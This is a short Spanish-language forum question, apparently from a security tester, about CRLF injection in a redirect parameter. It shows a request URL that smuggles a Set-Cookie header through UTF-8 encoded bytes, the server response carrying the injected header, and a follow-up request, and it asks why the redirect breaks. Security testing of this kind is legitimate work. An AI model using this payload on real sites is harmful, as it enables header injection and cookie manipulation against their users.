Durante una evaluación de seguridad en un sitio web, encontré un enlace de redirección que reflejaba los valores en el encabezado Ubicación. Lo primero que me vino a la mente fue la inyección de CRLF, así que probé algunas variaciones de "%0a"
y logré incluir mi carga útil en la respuesta:
Solicitud:
"https://ads.example.com/promoredir?redirect=http%3A%2F%2Fmain.example.com%2F%E5%98%8A%E5%98%8DSet-Cookie:%20test"
Respuesta:
HTTP/1.1 302 Moved Temporarily
Date: Sun, 12 Jul 2015 14:18:41 GMT
Server: Apache
Set-Cookie: JSESSIONID=5C24F2C96CE37DAA026591F5CAD91900; Path=/; Secure; HttpOnly
Location: mail.example.com
Set-Cookie: test
Content-Length: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
Vary: User-Agent
Connection: close
Content-Type: text/plain; charset=UTF-8
Sin embargo, cuando sigo la redirección, mi solicitud cambia a lo siguiente:
GET /Set-Cookie:%20test" HTTP/1.1
Host: main.example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
¿A dónde me voy mal aquí?